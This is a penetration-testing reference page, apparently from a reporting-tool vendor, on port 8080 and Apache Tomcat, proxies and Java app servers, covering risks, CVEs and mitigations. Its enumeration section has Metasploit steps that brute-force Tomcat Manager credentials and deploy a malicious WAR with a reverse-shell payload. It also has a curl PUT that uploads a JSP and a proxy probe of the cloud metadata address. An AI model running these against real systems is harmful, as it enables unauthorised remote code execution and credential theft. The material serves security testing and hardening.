Port 8080 – HTTP Alternate (Apache Tomcat, Proxies, App Servers)

Port 8080 is the internet’s canonical unofficial HTTP port — the one that answers when something wants to speak plaintext HTTP but isn’t the primary web server on port 80. It is Apache Tomcat’s default connector, the default listen port for a long list of HTTP proxies (Squid and many others), the home of JBoss/WildFly and other Java application servers, and the port a dev, staging, or embedded-device web app reaches for when it runs as a non-root user that can’t bind the privileged port 80. Whatever is behind it, the traffic is unencrypted HTTP unless something fronts it with TLS. The port itself is never the vulnerability — what runs on it is. So the job on an open 8080 is always the same two steps: fingerprint the application, then test that application.

Why It’s Open

Port 8080 is open because a web application or proxy chose it as an alternate to 80, usually for one of these reasons:

• Apache Tomcat ships with its HTTP connector on 8080 out of the box. An enormous share of internet-facing 8080 listeners are Tomcat instances (or products that embed Tomcat), which is why Tomcat’s own bugs and its Manager app dominate the risk picture here.
• Non-root binding. Ports below 1024 are privileged on Unix. An app server, Java process, or container that runs as an unprivileged user physically cannot bind 80, so it picks 8080 (and its TLS sibling on 8443).
• HTTP proxies. Squid and many forward/reverse proxies default to 8080. A misconfigured one becomes an open relay.
• Dev, staging, and second web tiers. 8080 is the classic “another web app on the same host” port, sitting alongside similar picks like 8000 and 8888.
• Embedded and appliance admin UIs. Routers, cameras, printers, NAS boxes, and IoT gear frequently expose their management web interface on 8080.

Common Risks

• Exposed Tomcat Manager. The single highest-value target on 8080. A reachable /manager/html protected by default or weak credentials (tomcat/tomcat, admin/admin) lets an attacker upload a WAR file and get remote code execution on the server — no memory-corruption bug required, just a bad password.
• Plaintext HTTP. Everything on 8080 travels unencrypted unless fronted by TLS. Login forms, session cookies, and API tokens are readable by anyone on the path.
• Application-level vulnerabilities. Whatever web app answers here carries its own flaws — the Java-stack CVEs below, plus the usual injection, auth-bypass, and file-upload bugs of any web application.
• Open proxy abuse. A misconfigured Squid or forward proxy on 8080 will relay arbitrary traffic, letting an attacker anonymize, reach internal hosts (SSRF / internal pivot), or hit services the proxy can see but you can’t.
• Exposed admin panels and dashboards. Dev consoles, Spring Boot Actuator endpoints (/actuator/env, /actuator/heapdump), and appliance admin UIs are routinely left on 8080 with no authentication.
• Information disclosure. Default landing pages, verbose stack traces, and Server headers happily fingerprint the exact stack and version an attacker then looks up.

Want to save time on reporting?

Let PentestPad generate, track, and export your reports - automatically.

Book a Demo

Enumeration & Testing

The whole game on 8080 is: identify the application, then test that application. Start by fingerprinting, then branch on what answers.

Fingerprint the service and version

nmap -sV -p 8080 <target>
nmap -p 8080 --script http-title,http-headers,http-methods,http-enum <target>

Read the headers and default pages

curl -sI http://<target>:8080/
whatweb http://<target>:8080/

A Server: Apache-Coyote/1.1 or Apache Tomcat banner points straight at Tomcat; X-Powered-By, framework favicons, and default landing pages fingerprint the rest. Note the response is http://, not https:// — anything sensitive here is in cleartext.

Hunt for the Tomcat Manager (the marquee target)

# Is the Manager app present? A 401 "Tomcat Manager Application" realm = yes
curl -sI http://<target>:8080/manager/html
curl -sI http://<target>:8080/host-manager/html

# Brute-force / test default credentials against the Manager
msfconsole -q
use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS <target>
set RPORT 8080
run

Turn Manager access into RCE

With valid Manager credentials, deploy a malicious WAR for a shell. Both modules are real and target the Manager app directly:

# POST/GUI upload path
use exploit/multi/http/tomcat_mgr_upload
set RHOSTS <target>
set RPORT 8080
set HttpUsername tomcat
set HttpPassword tomcat
set payload java/meterpreter/reverse_tcp
set LHOST <your-ip>
run

# PUT/deploy path (same idea, different request style)
use exploit/multi/http/tomcat_mgr_deploy

Test the CVE-2017-12617 PUT upload (no creds needed if misconfigured)

# If the default servlet is readonly=false, a JSP can be PUT and then executed
curl -X PUT "http://<target>:8080/shell.jsp/" -d '<% out.println("pwned"); %>'
curl "http://<target>:8080/shell.jsp"

Test for an open proxy

# Does 8080 forward your request to an arbitrary destination?
curl -s -x http://<target>:8080 http://example.com/
# Point it at an internal address to probe for SSRF / internal pivot
curl -s -x http://<target>:8080 http://169.254.169.254/latest/meta-data/

Broader web-app testing

gobuster dir -u http://<target>:8080/ -w /usr/share/wordlists/dirb/common.txt
nikto -h http://<target>:8080

Record every open 8080, the application you positively identified, and any credential, WAR deploy, or proxy relay you confirmed, so the evidence lands in the pentest report instead of a scratch terminal you’ll lose.

What to Look For

Known CVEs and Exploits

There is no single “port 8080” CVE — 8080 is a generic HTTP port, so the flaws that matter belong to whatever application is listening. The consistently highest-impact issue on 8080 isn’t a memory-corruption CVE at all: it’s an exposed Tomcat Manager with weak or default credentials, which turns into a WAR-upload shell via exploit/multi/http/tomcat_mgr_upload / exploit/multi/http/tomcat_mgr_deploy. Beyond that, the CVEs worth checking are those of the specific service you fingerprinted — most often Tomcat or a Java app server:

• CVE-2025-24813 — Apache Tomcat partial-PUT path-equivalence flaw (Tomcat 11.0.0-M1–11.0.2, 10.1.0-M1–10.1.34, 9.0.0-M1–9.0.98, and 8.5.x). With the default servlet writable and partial PUT enabled (on by default), an unauthenticated attacker can read sensitive files or, where file-based session persistence is in use, achieve remote code execution. CVSS 9.8 (CISA-ADP rated 10.0), and it saw active exploitation within days of its March 2025 disclosure. PoC: Exploit-DB 52134.
• CVE-2017-12617 — Apache Tomcat JSP upload RCE (7.0.0–7.0.81, 8.0.0.RC1–8.0.46, 8.5.0–8.5.22, 9.0.0.M1–9.0.0). When HTTP PUTs are enabled (readonly=false on the default servlet), a crafted PUT /x.jsp/ request uploads a JSP that then executes on request. CVSS 8.1. Weaponized as exploit/multi/http/tomcat_jsp_upload_bypass and Exploit-DB 43008.
• CVE-2017-12149 — Red Hat JBoss Enterprise Application Platform 5.0.0–5.2.2: the ReadOnlyAccessFilter of the HTTP Invoker deserializes untrusted data, allowing unauthenticated RCE via a crafted serialized object. CVSS 9.8, and it’s in CISA’s Known Exploited Vulnerabilities catalog. This is relevant here because JBoss/WildFly default their HTTP port to 8080 — but note it is a JBoss-specific bug, not a generic “port 8080” flaw.

Honesty note on the old page and on Ghostcat. The previous version of this page presented CVE-2017-12149 as if it were a generic “port 8080” exploit; it is in fact specific to JBoss EAP 5.x, and it is kept above only with that scope made explicit. Separately, Tomcat’s famous Ghostcat bug, CVE-2020-1938 (CVSS 9.8), is frequently mislabeled as an 8080 issue — it is not. Ghostcat is a flaw in Tomcat’s AJP connector on port 8009, not the HTTP connector on 8080. It’s worth scanning port 8009 alongside 8080 on a Tomcat host, but don’t file it under 8080. Always verify a CVE’s product and port/protocol against its NVD record before trusting it.

Mitigation

• Don’t expose 8080 to the internet. Bind it to localhost or an internal interface and put it behind a reverse proxy that terminates TLS on 443 (or 8443); never serve sensitive apps as plaintext HTTP on a public 8080.
• Lock down or remove the Tomcat Manager. Give it a strong, unique password, restrict it to localhost/management IPs in context.xml, and delete the manager/host-manager webapps entirely on production hosts that don’t need them.
• Disable HTTP PUT. Keep the default servlet readonly=true and disable partial PUT where you don’t need write access — this closes CVE-2017-12617 and CVE-2025-24813.
• Patch the application. Keep Tomcat, JBoss/WildFly, Squid, Spring Boot, and any embedded stack current; the CVEs above are all fixed in later releases.
• Harden proxies and admin surfaces. Configure proxies to forward only for authorized clients and destinations (no open relay), and put Actuator/admin endpoints behind authentication or off the network entirely.
• Firewall TCP/8080 to the clients that actually need it, and audit cloud security groups and container port mappings for an accidental 0.0.0.0:8080.

Real-World Example

The defining port-8080 attack needs no exotic exploit. An attacker mass-scans for 8080, gets a Server: Apache-Coyote banner, requests /manager/html, and is met with a Basic-auth prompt for the Tomcat Manager. They try the classics — tomcat/tomcat, admin/admin, tomcat/s3cret — and one works, because the Manager was left exposed with a default or trivial password. From there it’s a single msf > use exploit/multi/http/tomcat_mgr_upload: a malicious WAR is deployed, the JSP inside it runs with the privileges of the Tomcat process, and the attacker has a shell. This weak-credentials-to-RCE chain is a staple of real breaches, CTFs, and internal-network compromises alike. The 2025 wave of CVE-2025-24813 exploitation drove the same lesson from the other direction — unauthenticated attackers hitting Tomcat’s partial-PUT handler on 8080 within days of disclosure — proving that on this port the risk is entirely a function of what you’re running and how it’s configured, never the port number itself.

FAQ

What is port 8080 used for?

Port 8080 is the most common alternate HTTP port. It’s Apache Tomcat’s default connector, the default for HTTP proxies like Squid, the home of Java application servers such as JBoss/WildFly, and the port that dev, staging, and embedded web apps use when they run as a non-root user that can’t bind the privileged port 80. It carries plaintext HTTP unless something fronts it with TLS.

Why is port 8080 open on my computer or server?

Because a web application or proxy is listening on it. Most often that’s Tomcat or another app server that couldn’t (or didn’t) bind port 80, a local proxy, a dev/staging web app, or an appliance’s management interface. If you don’t recognize the service, fingerprint it (curl -sI http://localhost:8080/) before trusting it.

What is the difference between port 80 and port 8080?

Functionally they both speak HTTP. The difference is convention and privilege: port 80 is the standard, privileged HTTP port for the primary public web server, while 8080 is an unprivileged alternate that app servers, proxies, and secondary/dev web apps use — commonly because they can’t bind 80. Neither is encrypted; the encrypted equivalents are 443 and 8443.

Is port 8080 safe to leave open?

The port itself is harmless — the risk is entirely the application behind it. A patched app served over TLS behind a reverse proxy, with no exposed admin panels, is fine internally. An internet-facing Tomcat Manager with default creds, an open proxy, an unauthenticated Actuator endpoint, or an unpatched app server is a direct route to compromise. Don’t publish 8080 to untrusted networks without knowing exactly what answers on it.

How do I find out what’s running on my port 8080?

Fingerprint it: nmap -sV -p 8080 <host> for the service and version, curl -sI http://<host>:8080/ and whatweb http://<host>:8080/ for the headers and stack. A Server: Apache-Coyote header means Tomcat (check /manager/html), a proxy that relays your request means a forward proxy, and any other banner names a web app you then test on its own merits.

How do I secure or close port 8080?

Identify the app first, then harden it: patch it, serve it over TLS behind a reverse proxy, lock down or remove the Tomcat Manager, disable HTTP PUT (readonly=true), and put admin/Actuator endpoints behind authentication. Firewall TCP/8080 to the clients that need it, and if nothing legitimately uses it, stop the service and confirm with nmap -p 8080 <host> that the port is closed.

TL;DR

• Service: alternate HTTP — most often Apache Tomcat, plus HTTP proxies (Squid), JBoss/WildFly and other app servers, dev/staging web apps, and embedded admin UIs
• Default port: 8080/TCP (plaintext HTTP; TLS sibling on 8443)
• Biggest risk: an exposed Tomcat Manager with weak/default creds → WAR upload → RCE, plus app-specific CVEs (CVE-2025-24813, CVE-2017-12617) and open-proxy abuse — the port is generic, the danger is whatever runs on it
• Mitigation: keep it off the public internet, front with TLS behind a reverse proxy, lock down/remove the Manager, disable HTTP PUT, patch the app server, and firewall 8080 to the clients that need it